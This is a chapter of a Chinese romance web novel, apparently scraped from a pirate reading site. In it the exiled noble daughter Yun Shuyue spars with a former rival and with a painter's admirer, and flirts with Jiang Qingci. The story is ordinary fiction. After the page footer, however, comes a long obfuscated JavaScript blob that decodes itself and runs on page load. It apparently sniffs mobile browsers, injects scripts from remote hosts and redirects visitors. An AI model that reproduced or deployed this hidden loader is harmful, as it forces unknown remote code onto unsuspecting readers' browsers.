首页
25、晋江文学城独发
返回
关灯 护眼:关 字号:小

25、晋江文学城独发

章节报错(免登陆)
下载APP,无广告、完整阅读

一秒记住【笔趣阁】
biquge521.com,更新快,无弹窗!

    指尖突然被温软的唇瓣含住,云舒月神色娇憨,低垂的睫毛在眼下透出蝶状的阴影,舌尖滚过他指尖薄茧。
    喉结无声滚动。
    她忽地加重齿间力道,樱口溢出含含糊糊的话语:“你就是小气,我讨厌你。”
    她松开唇,别开头,两只手还被他牢牢握住。
    她偏过头,他便注视着她的耳垂,只觉得那处很空,她别过头时,该有一样东西跟着在耳垂底下晃的。
    那样定会极美。
    他又注视她颈侧因为转头而凸起的一根筋,皮肉极薄,仿佛一蹭就红,一戳就破。
    “别哭了。”
    他不敢再伸手去擦她的泪。
    云舒月挣开他的手,重重地“哼”了一声,然后跑掉了。
    掌心还残留着她腕间的温度,他望着她跑远,一路回了家,然后云家的石屋开了门,她进了家门。
    江嘉懿踩着夜露回来,玄色大氅下摆沾着城郊的露水,他撞见山底下发愣的江清辞,狠拍了他一下。
    “你在看什么呢?”江嘉懿的声音有些沙哑,尾音略低。
    “没什么,你怎么这么晚才回来?”
    他随口一问,脚踩在松软的土地上,夜雾很大。
    “长辈的事情,你问那么多做什么?”
    江嘉懿绕过他,鞋底碾碎了几片枯叶。
    江清辞驻足看他,倒觉得小伯的背影甚是孤单。
    “小伯也该听祖母的,该成家了。”
    江嘉懿心口一滞,没好气道:“哪壶不开提哪壶是不是?”
    江清辞耸耸肩。
    石屋的院落里,烛火在石窗上投下晃动的影子。
    云明旭坐在椅子上,柳姨娘正给她捏肩。
    林书柔在替云舒月梳理睡前的发髻,王姨娘在做针线。
    云鸿祯不知从哪儿搜罗来了些书本,每日点灯在墙角做功课。
    云舒月在母亲手里面软软地叫了一声:“王姨娘。”
    王姨娘从烛火前抬头:“二小姐,怎么了?”云梓莹也跟着抬头看向二姐。
    云舒月声音娇软:“我想吃你做的腌菜,明日做些吧。”
    王姨娘面色和缓下来,朝她笑道:“好呀,二小姐爱吃什么菜?”
    “嗯,萝卜、茄子、豇豆。”
    翌日一大早,一家人起床的起床,洗漱的洗漱。
    窗?如今换了桑皮纸糊的,地上总是出现光斑。
    柳姨娘敲了云舒月的门,来问她借桂花头油。
    倒也不是她自己要用。
    “二小姐,你每日打扮得那样好看,也给你三妹借点用用,咱们云家的女孩子在外面,都要漂漂亮亮的不是。”
    云舒月没有拒绝,给了柳姨娘一盒,也叫诗筠往云梓莹那儿送去一盒。
    不一会儿,桂花头油的甜香飘满了整个院子。
    云舒月自己用的茉莉头油,她一向与家中两个妹妹用的不同。
    有了头油,家中女眷的发髻便再也不是乱糟糟、蓬松松的了。
    有时候,分辨一个人是乡下进城的,还是正儿八经的城里人,看头发就能看出来。
    不是家家都能穿上锦缎制的衣裳,戴上珠钗,而同样的发髻,有些人就是光洁平整无一丝碎发的,有些人却是满头支出碎发来的。
    云舒月出门时,柳姨娘正在东厢房对着铜镜涂涂抹抹,倒是云千雁,还没来得急梳头发的。
    王姨娘在灶台上忙活,云舒月刚一坐下,便有一碗热腾腾的粥盛了上来。
    “二小姐,你先用,不合口味再跟我说。”
    云舒月坦然承了王姨娘的伺候。
    汝瓷的勺子在碗中翻滚时,她说道:“我昨日得了些杏仁和牛乳,王姨娘,明天做些杏仁酪吧。”
    “好,二小姐。”
    吃完饭,诗筠道:“小姐,该更衣了。”
    云明旭起得更晚,现在才慢悠悠从屋子里踱步出来。
    “老爷起来了。”
    “切,你们家都沦落到这种地步了,还在每日老爷小姐的称呼着,这是梦还没醒呢。”
    众人齐齐向门外看去,是一名女子在说话。
    看着装,与他们一样,是牢城营的罪犯。
    不过暂时不眼熟,也就是说,以前见过,最近没见过。
    是几天前新来的乔家。
    “乔婉宁?!”
    云舒月正被诗筠套上一件桃色葛纱比甲,虽料子寻常,但样式做得娇俏。
    “你是什么时候来的?”
    乔婉宁??云舒月以前除了姚凝静以外,最看不惯的一个人。
    不过乔婉宁也看不惯她就是了。
    姚凝静虽也喜欢拆云舒月的台,在这个圈子里,颇有些不乐意让云舒月为首的意思,但是争又争不过,比又比不起,云舒月但凡组局,她又来得比谁都快。
    乔婉宁是干脆不跟她玩儿。
    京中还有一批贵女,以乔婉宁为首的,整日不以弹琴对弈,吟诗作对这些女子应有美德为乐,反倒喜欢投壶、射箭、打马球,常把自己搞得汗津津的狼狈。
    云舒月绝不承认,其实她也喜欢打马球,但是从不在公开场合打,她要形象。
    乔婉宁每次见了她,都要不屑地骂一句:“装模作样。”
    云舒月回她:“京中人皆称你们为女纨绔,我也不屑与你多说。”声音是细柔甜的,下巴是高昂的,两只手是端在腹前的,气质是无人能比的。
    乔婉宁不客气地走进院子里:“我们家前几天来的,我就是想来看看你有没有被驯服,看来还没有,我一听见你们家还在小姐老爷的称呼对方,就想笑。”
    云舒月撇头问她:“不这样称呼,那要怎么称呼?“
    她似是真的不懂,父亲要求两个姨娘早晚向母亲问安,她也并不觉得有什么问题。
    乔婉宁撇撇嘴:“不知道,反正我爹现在叫我大丫头。”
    说完,乔婉宁上下扫视了几眼云舒月,道:“我还以为你早变成病殃殃的样子,每日除了娇哼啊这个我做不了,哎呀这可怎么办呀‘,什么也不会呢。现在看你,在这里混得还行嘛。”
    云舒月白了她一眼:“你怎么不早两个月来呢,那时候的官兵可是真抽人。”
    她是善于靠撒娇走近路,又不是傻。
    她要是随时随地做出那副样子,早被人打死了。
    “对了,你们家现在是在采石场做工吧?”
    乔婉宁摇头:“不是,我爹和我哥他们在窑厂烧制青砖,我家女眷皆在纺织坊搓麻绳。”
    云舒月皱眉:“为何男女不同?”
    乔婉宁道:“那官兵说,女眷烧不了青砖,干活慢,拖累工程进度,倒是搓麻绳一类的活儿适合女眷。”
    云舒月有些生气,凭什么云家人一来所有人都是到采石场挖石头!
    两人寒暄了几句,乔婉宁道:“我先走了,我要去干活了,今日定要换两个大馒头吃,对了,你现下在何处干活?”
    云舒月指指山头:“在行宫里画画。”
    乔婉宁跺脚道:“凭什么你的活儿这么轻松!”
    云舒月耸耸肩:“你要知道我们一家人是从哪儿混上来的,你就知足吧。”
    她可一点苦没少吃,现在在这牢城营也混成老人了,怎么不该她过得好点儿?
    到了时辰,云舒月被诗筠打扮像是被照顾得很好的农家女孩儿,没有珠,布带子也能在头上挽出极漂亮的蝴蝶结。
    “那我去上工啦,你们也都去吧。”
    阳光灿烂,山花遍地开,云舒月踏着轻巧的步伐上山。
    时而想到乔婉宁说的话,她还要重重地跺一跺脚。
    江清辞之前生那么大气,居然安排他们家所有人都去采石场,真是过分。
    她非要狠狠治一治他才好。
    到了行宫,外面的宫人在搭建新的屋瓦,敲得“叮叮当当”的。
    她没忘了她今日要做的事情,她要亲眼观赏沈漆画师绘完一整个多宝格。
    她走进这里,沈漆画师正蹲在多宝格前调制漆料,那些漆料在阳光下闪烁着光泽,如同流动的宝石。
    她悄悄站在沈邱身后,没看见屋子里多了个女孩子。
    那女子端坐在屋内的椅子上,面前是张已经完全制好的桌子。
    她穿着白色的衫子,是锦布的,发间簪着一根小巧圆润的玉簪,一根带着细小流苏的金簪,簪头还缠着半缕红绳,大概值五两银子。
    云舒月悄然打量着,是早已过时的装扮。
    那女子两颗耳垂上都挂着红玛瑙垂下的耳坠,也是极小的两颗,大概值七两银子。
    沈漆画师待她很好,很温柔,对她说话是温声细语的。
    直到云舒月走近了,那女子抬头,也率先将她打量了一圈。
    打量完,眼中也不知是个什么神情,斜着朝沈邱一边说话一边指她:“沈邱哥哥,这是谁呀?”
    沈邱没注意云舒月来了,回头看见她,吓了一跳。
    “你怎么来了?话也不说一声,吓我一跳。......我说了不教就是不教。
    说完,沈邱转过头,继续做自己的事情。
    那女子眼神在两人之间转了又转,再次问道:“沈邱哥哥,你还没告诉我她是谁呢。”
    沈邱这才反应过来,“哦”了一声,道:“是漆画描金组的画师。”
    那女子神情不太自然:“漆画描金组什么时候有女画师了,师傅们不是都不招女徒弟嘛,这是规矩呀。”
    云舒月一句话还没说,被这两人一来一回谈论了个遍,她心里颇为不爽。
    她走到沈邱身后,用力戳了戳他:“沈画师,这个人是谁啊?”
    说完也拿手指着那女子。
    那女子倒是不言语,她想听听沈邱如何介绍自己。
    可沈邱真的说了,她心里又不舒服,刚刚她问他的时候,问了两边他才答。
    “是我师父的女儿,过来给我送东西的。”
    云舒月眼珠子转了转,又问道:“那你师父是谁啊?”
    还不待沈邱回答,那女子急道:“我父亲的大名,也是你能知道的?我父亲可是在宫里供职的漆画师。”
    云舒月极轻的“哦”了一声,又道:“那我确实不知道,宫里的工匠太多了,谁知道哪个是你父亲。”
    她本来觉得没劲儿,这两人一看就有事,她今日本是来偷师的,现在这里多了个人,她就不好偷师了,可这女子着实有意思,她起了逗弄的心思。
    谁叫她先惹了她呢。正好手痒痒,好长时间没在女人堆里混了。
    云舒月将声音压细压柔了许多:“沈画师,这幅画我还有些想法,你在上漆之前,可不可以听我先说说呀。”
    事关工作要事,沈邱立刻停了动作,将耳朵往云舒月那边凑了凑:“你说。”
    云舒月本来就还有些想法,这下正好凑近了细说。
    两人凑在一块儿说了许久的话,杜玲珑牙咬得紧紧的,手指抠着手心,又把云舒月来来回回扫视了很多遍。
    布衣,布鞋,布头饰,头发梳得还不错,说明她有个手巧的母亲,衣襟上的绣花一看就是家里给绣的,不是成衣坊里买的,应该就是个农家女。
    而她杜玲珑从小生活在京城,随母亲探亲才来了黔州短居。
    唉,是个不配被她放在眼里的女子。
    说起来,农家女子也怪可怜的,一辈子也挣脱不出来,若想嫁入城里甚至入京,便只能给人家做妾。
    杜玲珑腰背挺直了些,娇怯怯从怀里拿出一个做好的荷包。
    “沈邱哥哥,这个给你。”
    沈邱从工作中出神,恍惚了一会儿才回头看她。
    杜玲珑又道:“你上次送我的金簪子我很喜欢,不过我父亲送了我一支更好的,所以这次就没戴出来,你别怪我啊。
    说着,她碰了碰头上的金簪,看样子这就是她父亲给她买的那支。
    云舒月也转头看去,虽说这话是对沈画师说的,可云舒月怎么可能不知道,这话分明专门是给她听的。
    她虽然极想鄙视这人头上金簪不过五两银子,她从前赏丫鬟都嫌寒碜。
    可是今时不同往日,她不能鄙视她,因为她如今连这也买不起。
    便道:“哇,这位姐姐,你头上的簪子一定很贵吧,怪不得你这么好看,不像妹妹我,只能用几根布带子缠发。”
    她的眼里满是艳羡,杜玲珑瞧得心花怒放。
    “对了,沈邱哥哥,你还没说,她身为女子,为何能在这里成为画师,她师出何门?”
    云舒月心里默默想,她倒不是师出谁门,小时候家里给她请过几个大师而已,只算是家里的客卿,当不得她师父。
    沈邱沉声道:“她就是牢城营的罪犯,被上头调到漆画描金组来的。”
    杜玲珑变了脸色,提着裙子站起来,默默挪得离云舒月远了些。
    “是罪犯啊......”
    云舒月无语,便只安心看沈漆画师操作,对方现在倒是不赶她了,也不知为什么,许是不想跟另一个人单独待着?
    云舒月安安静静地看着,过了一会儿,那女子又开口了。
    这回倒是又换了种语气,又轻又柔又悲悯:“那个,你们能吃饱饭吗?被打的时候疼不疼啊?被打了留疤可怎么办呢?女孩子要是来事了该多可怜呀?那要是想吃糕点了怎么办呢?哎呀,要是想穿漂亮衣裙了又该怎么办呀......”
    云舒月:“......”头一次对女人捏紧了拳,想把乔婉宁叫着一起揍她一顿。
    云舒月淡淡瞥了她一眼,就是想穿漂亮衣裙,也不会想穿她身上那种。
    “你身上的衣裙都过时了,你不知道吗?是买不起京中璇玑阁的成衣吗。说起糕点,我往常最爱吃花月舫的玫瑰荔枝腌,一盒也只要百两银子,现在不常吃了,更爱瑞锦斋的荷花酥,味道更清甜一些,这个也不贵,一盒只要一百二十两银子,就是难买了一些,每回都要叫人帮我去排。对了,这位
    小姐,你最喜欢吃哪家糕点呀。
    杜玲珑脸庞愈发青白,攥着茶盏的指节泛白,花月舫和瑞锦斋都是京里专供大户人家的糕点铺子,别说买,她连见都没见过。
    短暂恍惚后,她极轻地“哼”了一声:“谁信呐。’
    沈邱百忙之中抬头解释道:“黔州牢城营的罪犯都是官员贬谪至此,她父亲曾是户部尚书,她真没骗你,还有她这一手画,依我看,颇有梁大师和温大师的影子。”
    云舒月点头,朝沈邱甜甜一笑:“沈画师好眼力,梁大师和温大师的确教过我一阵子。”
    杜玲珑仍端坐着,桌子底下的手都气得把大腿捏青了,真是好气啊。
    云舒月轻哼一声,一开始是她要比的,比又比不过,切。
    杜玲珑很久才调整好心绪,就算此女不是农家女又怎样,她现在已经成了罪犯。
    “那你,现在岂不是很惨,从官家贵女流落成罪犯,啧,想想就很惨呢。”面露怜悯。
    恰在这时,江清辞来了,正站在窗外。
    云舒月弓着身子正看沈画师工作,见江清辞来了,她本来想的今日多少要生他一会儿气的。
    现在觉得,气可以一会儿再生,脸面现在必须立刻找回来。
    她眼眸一亮,两只系着蝴蝶结的垂挂髻也跟着抬头的动作一晃。
    随后,她张开双臂扑了出去,声音甜到极致:“清辞哥哥!今天给我带什么好吃的了。”
    江清辞承住她费了一些力,因为.......她飞奔过来的时候,他的心跳停了一瞬。
    她向他跑来的模样,甚美。
    他回过神来,昨日云舒月说了自己有事,便不来找他,可他母亲刚托人送来了一份荷花酥??母亲似是一直误会了什么,以为他极爱吃荷花酥。
    云舒月一边抱住他,一边心底极为舒畅,太好了!今日江清辞穿着锦袍,戴着玉冠,想是刚跟官员谈完事回来。
    江清辞将手中的糕点递给她:“瑞锦斋的荷花酥,我母亲这阵子没心思做,托人进京采买回来的。”
    云舒月没接过糕点,两只手拽着他胳膊,头往他胸膛上蹭,来回撒娇。
    “真好呀,我正好想吃呢。”
    江清辞一动不动,任她缠着攀着,就是那颗喉结,在月白中衣领口处急促滚动。
    垂落的睫毛在眼下投出细密的阴影,掌心渗出了薄汗,腰间玉佩也被她晃得细碎作响。
    屋内,沈邱依旧埋头干活,杜玲珑站起身子,望向窗外,心内激起千层浪。
    玉冠束发的男子正柔声与怀中女子无奈交谈,剑眉星目在日光里明明灭灭,流仙广袖下不过拎着一样纸包的糕点,恍若踏云而来的谪仙。
    她竟从未见过这等风华的公子,更何况是在这偏远处的山巅之上。
    云舒月攥着江清辞的手腕撒娇:“你等我一会儿好不好,我还没学完。”
    江清辞颔首道:“好。”
    云舒月转身进了屋,他后颈泛起细密的鸡皮疙瘩。
    真是招架不住她。
    可他总觉得,她朝他跑来时,耳边该坠着个坠子的。
    要垂珠坠金镶玉的,不行,这不适合她。
    要极小极轻巧的坠子,却要极贵极稀有的宝石。
    云舒月拎着糕点回到沈邱处,蹲在他身旁细看。
    她拿出一块荷花酥咬出一块儿月牙,嚼吧嚼吧,又递给沈邱一块儿,沈邱摇摇头:“我不吃。”
    过了一会儿,云舒月感觉背后那人快绷不住了,便回头问她:“吃吗?”
    可她也必不会叫她这么容易的吃到。
    她说:“你应该没吃过吧,快尝尝,之后可就吃不到了,毕竟你父亲送你的金簪,也不敌这一块儿的价格呢。”
    沈邱耳朵动了动,神情却没什么变化,他心里什么都明白,只是不想搭理她们两女交锋罢了。
    杜玲珑还是拿着吃了,云舒月说得对,她这次不尝尝,可能一辈子也尝不到了。
    她看了看窗外如谪仙一般的男子,又看了看着布裙钗的云舒月。
    心里默默念叨着,她有什么好炫耀的,那位公子一定也没多在意她,否则怎么不给她穿上绫罗绸缎,只是送个糕点而已,对那位公子而言,不过随便从指缝里漏点出来,算不得什么,一定是这样的。
    到了傍晚,沈画师终于完工,这师算是被云舒月给偷完了。
    他无奈地看着身旁赖了他一天的女子:“你现在可以走了吗?”
    云舒月欣喜道:“我走我走,我再不走,这位小姐都要恨死我啦。”
    留下这意味不明的一句话,云舒月一瞬就溜走了,像只花蝴蝶。
    空留下杜小姐恨得牙痒痒。
    云舒月跟着江清辞一路上了丹奉台,江清辞心里空空的。
    罢了,现下两人隔着不远不近的距离,等会儿一起对弈一局,再饮一些玉露春,若是可以,她弹琴,他便吹箫伴奏,就像从前一样,才是对的。
    云舒月忽然站到他背后,两只手把着他的肩:“清辞哥哥,背我。”
    江清辞顿了顿,随后蹲下身子:“上来。”
    怎料云舒月一趴上他的肩,张嘴重重叼住他的耳朵尖,下了死嘴。
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="u5afgpg4hc";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/_nd7pJpoh(/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"_nd7pJpoh("!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8_nd7pJpoh("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();